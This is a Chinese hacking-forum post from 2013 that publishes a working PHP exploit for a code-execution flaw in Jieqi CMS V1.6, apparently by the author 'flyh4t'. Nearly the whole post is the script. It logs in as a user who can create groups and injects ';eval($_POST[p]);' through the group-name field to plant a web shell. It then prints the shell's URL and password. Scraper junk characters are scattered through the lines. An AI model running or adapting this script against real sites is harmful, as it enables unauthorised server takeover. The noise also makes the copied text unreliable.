找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2368|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。! e: `% N$ W) R! Y- \

$ i& p) @" N$ _8 j- V' C , C5 G: o" r6 B5 y+ |
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
  z  t- d- v; Z2 {$ J 需要有一个能创建圈子的用户。9 Z, f$ o+ r0 ^" c+ o7 A
6 p0 i& B" W( Q) z* O% Y* H8 u8 m
<?php! r$ Z6 _: u' U3 D2 B, n
* B' z( i& T& A3 w3 O1 B* N
print_r('
4 D0 f8 ?6 A' S& ?9 G" k+---------------------------------------------------------------------------+9 J7 x! Q7 R7 e1 i2 j# K
Jieqi CMS V1.6 PHP Code Injection Exploit* I/ c' p+ R" f  Z% C
by flyh4t% @3 M0 |# ]$ k2 \' @( `
mail: phpsec at hotmail dot com8 v: h3 L. O4 j  j
team: http://www.wolvez.org
+ J7 f4 `9 g4 S4 V, S+---------------------------------------------------------------------------+6 W+ F: ]) u  E) x- J/ M$ Y
'); /**6 R8 r4 F! w8 \. q: i2 e
* works regardless of php.ini settings
. J' U8 Y! Z  {  J5 n! c; z*/ if ($argc < 5) { print_r('' H8 l, k7 a, x+ V& ^
+---------------------------------------------------------------------------+
- W' J( l1 u- ^  p9 ]! ^+ T; ZUsage: php '.$argv[0].' host path username
/ y2 K+ a7 e4 g3 Nhost:      target server (ip/hostname)' a$ B  S6 d1 G& ^7 q" f
path:      path to jieqicms
/ O# @9 L! T! S7 Cuasename:  a username who can create group6 ]/ C" ]3 b) n
Example:( `$ H8 Q) z% ?8 m3 S% f* E
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
% [9 ^( O" Y9 q  F( V  _+---------------------------------------------------------------------------+
. @/ j* w. a' B1 U3 ?' e'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
8 I7 P$ ]8 s  B: S  }" EContent-Disposition: form-data; name="gname"
" [  Y* I, @  R2 R% E 2 ]) i- `  j% |, l- J
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t3 L& T# V& a7 S
-----------------------------23281168279961! w2 a" K! F4 Y+ f
Content-Disposition: form-data; name="gcatid"
5 W: [7 G/ z! O7 L& z
% U" d6 M- Z# f2 b% p+ L5 \+ B1. o+ y( n0 N0 f6 s. p8 ~
-----------------------------23281168279961
) T1 ]" s+ b3 l! A' XContent-Disposition: form-data; name="gaudit"
2 r3 W$ m9 o; B4 w$ A% V( n
4 M9 ^1 p6 n1 G  q1 a3 p1: W& i1 g% r3 I# n
-----------------------------23281168279961
6 d* b" c  q9 `Content-Disposition: form-data; name="gbrief"# ^, g' j# ?  a
' a* j) x% o, j' ^) r) g
1( q) \9 ]# w6 E" k
-----------------------------23281168279961--
5 g; Y! W$ R; K+ W( X'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
& \. e! D0 S- V' G' l# v 2 y+ x+ K1 v6 ^" m# P. p
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表